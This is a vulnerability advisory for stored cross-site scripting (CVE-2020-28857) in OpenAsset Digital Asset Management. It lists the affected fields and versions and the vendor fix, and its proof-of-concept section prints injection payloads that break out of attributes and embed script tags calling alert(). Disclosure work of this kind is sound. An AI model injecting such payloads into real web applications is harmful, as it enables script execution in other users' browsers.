Title: Stored cross-site scripting (XSS)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28857
Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au
Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication
1. Vulnerability Description
The OpenAsset Digital Asset Management web application allowed for stored
cross-site scripting attacks against various parameters and endpoints.
Vulnerable parts of the web application include:
* System Preferences
* Project Code regex field
* User name regex field
* Password regex field
* All three description fields
* First Album Name field
* Visit Items Per SOAP request field
* Categories description
* Keywords, triggered on deletion attempts
* Editing photographer name
* Access token name
* Web share name
2. PoC
For system preferences fields, the following payloads can be used:
" autofocus onfocus="alert('Stored XSS');" abc="
"><script>alert("Script stored XSS");</script>
For categories description:
Category Name Goes Here<script>alert('Description stored XSS');</script>
For keywords:
Delete Me<script>alert(1234);</script>
Photographer name:
John Smith<script>alert("XSS Attack!");</script>
Access token name:
TokenName"><script>alert("Stored XSS Tokens")</script>
Web share name:
Share<script>alert("Stored XSS Web Share Name");</script>
3. Solution
The vendor provides an updated version (11.4.10) which should be installed
immediately. If using the cloud version, the vendor has already updated it.
4. Advisory URL
https://www.themissinglink.com.au/security-advisories
Jack Misiura
Application Security Consultant
a
9‑11 Dickson Avenue
Artarmon
NSW
2064
p
1300 865 865
os
+61 2 8436 8585
w
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